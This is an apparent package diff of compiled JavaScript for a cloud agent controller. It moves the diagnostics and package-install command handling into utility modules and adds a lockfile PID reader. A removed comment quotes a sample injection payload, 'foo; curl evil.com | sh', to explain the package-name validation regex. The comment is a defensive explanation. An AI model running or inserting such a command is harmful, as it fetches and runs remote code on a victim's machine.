AC;QACvF,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IAClB,CAAC;IAED,OAAO,CAAC,GAAG,CAAC,kCAAkC,GAAG,EAAE,CAAC,CAAC;IACrD,OAAO,CAAC,GAAG,CAAC,aAAa,CAAC,CAAC;AAC7B,CAAC"}
@@ -1,27 +1,5 @@
1
- import { exec } from 'node:child_process';
2
1
  import { logCollector } from '../connection.js';
3
- const DIAGNOSTICS_TIMEOUT = 10_000;
4
- const ALLOWED_CHECKS = {
5
- disk_usage: 'df -h',
6
- memory_info: 'free -m || vm_stat',
7
- uptime: 'uptime',
8
- gateway_status: 'openclaw gateway status --json',
9
- node_version: 'node --version',
10
- controller_version: 'npm list -g @openclaw-cloud/agent-controller --depth=0',
11
- processes: 'ps aux --sort=-rss | head -20',
12
- };
13
- function runCheck(cmd) {
14
- return new Promise((resolve) => {
15
- exec(cmd, { timeout: DIAGNOSTICS_TIMEOUT }, (error, stdout, stderr) => {
16
- resolve({
17
- stdout: stdout.toString(),
18
- stderr: stderr.toString(),
19
- success: !error,
20
- ...(error ? { error: error.message } : {}),
21
- });
22
- });
23
- });
24
- }
2
+ import { runDiagnostics } from '../utils/diagnostics.js';
25
3
  export async function handleDiagnostics(command) {
26
4
  const startMs = Date.now();
27
5
  logCollector?.push('command_received', 'info', `Command: ${command.type}`, {
@@ -38,15 +16,7 @@ export async function handleDiagnostics(command) {
38
16
  error: 'Missing "checks" array in payload',
39
17
  };
40
18
  }
41
- const results = {};
42
- for (const key of checks) {
43
- const cmd = ALLOWED_CHECKS[key];
44
- if (!cmd) {
45
- results[key] = { error: 'Unknown check' };
46
- continue;
47
- }
48
- results[key] = await runCheck(cmd);
49
- }
19
+ const results = await runDiagnostics(checks);
50
20
  const durationMs = Date.now() - startMs;
51
21
  logCollector?.push('command_completed', 'info', `${command.type} completed`, {
52
22
  commandId: command.id,
@@ -1 +1 @@
1
- {"version":3,"file":"diagnostics.js","sourceRoot":"","sources":["../../src/handlers/diagnostics.ts"],"names":[],"mappings":"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"}
1
+ {"version":3,"file":"diagnostics.js","sourceRoot":"","sources":["../../src/handlers/diagnostics.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAChD,OAAO,EAAE,cAAc,EAAE,MAAM,yBAAyB,CAAC;AAEzD,MAAM,CAAC,KAAK,UAAU,iBAAiB,CAAC,OAAqB;IAC3D,MAAM,OAAO,GAAG,IAAI,CAAC,GAAG,EAAE,CAAC;IAC3B,YAAY,EAAE,IAAI,CAAC,kBAAkB,EAAE,MAAM,EAAE,YAAY,OAAO,CAAC,IAAI,EAAE,EAAE;QACzE,SAAS,EAAE,OAAO,CAAC,EAAE;KACtB,CAAC,CAAC;IAEH,MAAM,MAAM,GAAG,OAAO,CAAC,OAAO,CAAC,MAA8B,CAAC;IAE9D,IAAI,CAAC,KAAK,CAAC,OAAO,CAAC,MAAM,CAAC,IAAI,MAAM,CAAC,MAAM,KAAK,CAAC,EAAE,CAAC;QAClD,MAAM,UAAU,GAAG,IAAI,CAAC,GAAG,EAAE,GAAG,OAAO,CAAC;QACxC,YAAY,EAAE,IAAI,CAChB,gBAAgB,EAChB,OAAO,EACP,GAAG,OAAO,CAAC,IAAI,4CAA4C,EAC3D,EAAE,SAAS,EAAE,OAAO,CAAC,EAAE,EAAE,UAAU,EAAE,CACtC,CAAC;QACF,OAAO;YACL,EAAE,EAAE,OAAO,CAAC,EAAE;YACd,IAAI,EAAE,aAAa;YACnB,OAAO,EAAE,KAAK;YACd,KAAK,EAAE,mCAAmC;SAC3C,CAAC;IACJ,CAAC;IAED,MAAM,OAAO,GAAG,MAAM,cAAc,CAAC,MAAM,CAAC,CAAC;IAE7C,MAAM,UAAU,GAAG,IAAI,CAAC,GAAG,EAAE,GAAG,OAAO,CAAC;IACxC,YAAY,EAAE,IAAI,CAAC,mBAAmB,EAAE,MAAM,EAAE,GAAG,OAAO,CAAC,IAAI,YAAY,EAAE;QAC3E,SAAS,EAAE,OAAO,CAAC,EAAE;QACrB,UAAU;KACX,CAAC,CAAC;IACH,OAAO;QACL,EAAE,EAAE,OAAO,CAAC,EAAE;QACd,IAAI,EAAE,aAAa;QACnB,OAAO,EAAE,IAAI;QACb,IAAI,EAAE,EAAE,OAAO,EAAE;KAClB,CAAC;AACJ,CAAC"}
@@ -1,30 +1,5 @@
1
- import { exec } from 'node:child_process';
2
- import { toErrorMessage } from '../utils/response.js';
3
1
  import { logCollector } from '../connection.js';
4
- const INSTALL_TIMEOUT_MS = 300_000; // 5 minutes total
5
- /**
6
- * Only allow characters that are valid in real package names on apt/npm/pip.
7
- * This intentionally rejects shell metacharacters (;, |, &, $, `, (, ), <, >, space, …)
8
- * so that a malicious payload like "foo; curl evil.com | sh" is rejected before
9
- * it can ever reach the shell.
10
- *
11
- * Allowed: letters, digits, @, ., _, /, -, +, :, % (covers npm scopes, semver
12
- * ranges like "pkg@^1.2", apt epoch prefixes like "2:pkg", pip extras "pkg[extra]")
13
- */
14
- const SAFE_PACKAGE_NAME_RE = /^[a-zA-Z0-9@._/\-+:%[\]^~=,*]+$/;
15
- function isSafePackageName(name) {
16
- return SAFE_PACKAGE_NAME_RE.test(name);
17
- }
18
- function execPackage(cmd, timeoutMs) {
19
- return new Promise((resolve, reject) => {
20
- exec(cmd, { timeout: timeoutMs }, (error) => {
21
- if (error)
22
- reject(error);
23
- else
24
- resolve();
25
- });
26
- });
27
- }
2
+ import { INSTALL_TIMEOUT_MS, installOnePackage, } from '../utils/package-install.js';
28
3
  export async function handlePackageInstall(command) {
29
4
  const packages = command.payload.packages;
30
5
  const apt = packages?.apt ?? [];
@@ -47,28 +22,23 @@ export async function handlePackageInstall(command) {
47
22
  const installed = { apt: [], npm: [], pip: [] };
48
23
  const errors = [];
49
24
  const deadline = Date.now() + INSTALL_TIMEOUT_MS;
50
- async function tryInstall(pkg, cmd, type) {
51
- // Reject package names containing shell metacharacters before they reach exec().
52
- if (!isSafePackageName(pkg)) {
53
- errors.push({ name: pkg, error: 'Invalid package name: contains disallowed characters' });
54
- return;
55
- }
25
+ async function tryInstall(pkg, manager) {
56
26
  const remaining = deadline - Date.now();
57
27
  if (remaining <= 0) {
58
28
  errors.push({ name: pkg, error: 'Install timeout exceeded' });
59
29
  return;
60
30
  }
61
- try {
62
- await execPackage(cmd, remaining);
63
- installed[type].push(pkg);
31
+ const result = await installOnePackage(manager, pkg, remaining);
32
+ if (result.ok) {
33
+ installed[manager].push(pkg);
64
34
  }
65
- catch (err) {
66
- errors.push({ name: pkg, error: toErrorMessage(err) });
35
+ else {
36
+ errors.push({ name: pkg, error: result.error ?? 'unknown error' });
67
37
  }
68
38
  }
69
39
  // apt: sequential — apt-get uses a global lock that prevents concurrent invocations
70
40
  for (const pkg of apt) {
71
- await tryInstall(pkg, `apt-get install -y ${pkg}`, 'apt');
41
+ await tryInstall(pkg, 'apt');
72
42
  }
73
43
  // npm and pip: parallel within each type — independent registries, no global lock
74
44
  await Promise.all(npm.map(async (pkg) => {
@@ -78,7 +48,7 @@ export async function handlePackageInstall(command) {
78
48
  package: pkg,
79
49
  });
80
50
  const prevErrors = errors.length;
81
- await tryInstall(pkg, `npm install -g ${pkg}`, 'npm');
51
+ await tryInstall(pkg, 'npm');
82
52
  if (errors.length > prevErrors) {
83
53
  logCollector?.push('package_install_step', 'error', `npm: ${pkg} failed: ${errors[errors.length - 1]?.error}`, {
84
54
  commandId: command.id,
@@ -94,7 +64,7 @@ export async function handlePackageInstall(command) {
94
64
  package: pkg,
95
65
  });
96
66
  const prevErrors = errors.length;
97
- await tryInstall(pkg, `pip install ${pkg}`, 'pip');
67
+ await tryInstall(pkg, 'pip');
98
68
  if (errors.length > prevErrors) {
99
69
  logCollector?.push('package_install_step', 'error', `pip: ${pkg} failed: ${errors[errors.length - 1]?.error}`, {
100
70
  commandId: command.id,
@@ -1 +1 @@
1
- {"version":3,"file":"package-install.js","sourceRoot":"","sources":["../../src/handlers/package-install.ts"],"names":[],"mappings":"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"}
1
+ {"version":3,"file":"package-install.js","sourceRoot":"","sources":["../../src/handlers/package-install.ts"],"names":[],"mappings":"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"}
@@ -4,3 +4,9 @@ export declare function createLockFile(): void;
4
4
  export declare function removeLockFile(): void;
5
5
  /** Check if lock file exists */
6
6
  export declare function isLockFilePresent(): boolean;
7
+ /**
8
+ * Read the PID stored in the lock file. Returns `null` if the lock file is
9
+ * missing, unreadable, or doesn't contain a valid positive integer. Used by
10
+ * the `stop` CLI to signal the running agent-controller daemon.
11
+ */
12
+ export declare function readLockFilePid(): number | null;
package/dist/lockfile.js CHANGED
@@ -39,4 +39,21 @@ export function removeLockFile() {
39
39
  export function isLockFilePresent() {
40
40
  return fs.existsSync(getLockPath());
41
41
  }
42
+ /**
43
+ * Read the PID stored in the lock file. Returns `null` if the lock file is
44
+ * missing, unreadable, or doesn't contain a valid positive integer. Used by
45
+ * the `stop` CLI to signal the running agent-controller daemon.
46
+ */
47
+ export function readLockFilePid() {
48
+ try {
49
+ const raw = fs.readFileSync(getLockPath(), 'utf8').trim();
50
+ const pid = Number.parseInt(raw, 10);
51
+ if (!Number.isFinite(pid) || pid <= 0)
52
+ return null;
53
+ return pid;
54
+ }
55
+ catch {
56
+ return null;
57
+ }
58
+ }
42
59
  //# sourceMappingURL=lockfile.js.map
@@ -1 +1 @@
1
- {"version":3,"file":"lockfile.js","sourceRoot":"","sources":["../src/lockfile.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,MAAM,SAAS,CAAC;AACzB,OAAO,IAAI,MAAM,WAAW,CAAC;AAC7B,OAAO,EAAE,MAAM,SAAS,CAAC;AAEzB,MAAM,SAAS,GAAG,uBAAuB,CAAC;AAE1C,SAAS,UAAU;IACjB,+CAA+C;IAC/C,2CAA2C;IAC3C,IAAI,EAAE,CAAC,UAAU,CAAC,sCAAsC,CAAC,EAAE,CAAC;QAC1D,OAAO,sCAAsC,CAAC;IAChD,CAAC;IACD,OAAO,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC,OAAO,EAAE,EAAE,WAAW,EAAE,kBAAkB,CAAC,CAAC;AAClE,CAAC;AAED,SAAS,WAAW;IAClB,OAAO,IAAI,CAAC,IAAI,CAAC,UAAU,EAAE,EAAE,SAAS,CAAC,CAAC;AAC5C,CAAC;AAED,kCAAkC;AAClC,MAAM,UAAU,cAAc;IAC5B,IAAI,CAAC;QACH,MAAM,OAAO,GAAG,UAAU,EAAE,CAAC;QAC7B,EAAE,CAAC,SAAS,CAAC,OAAO,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,CAAC,CAAC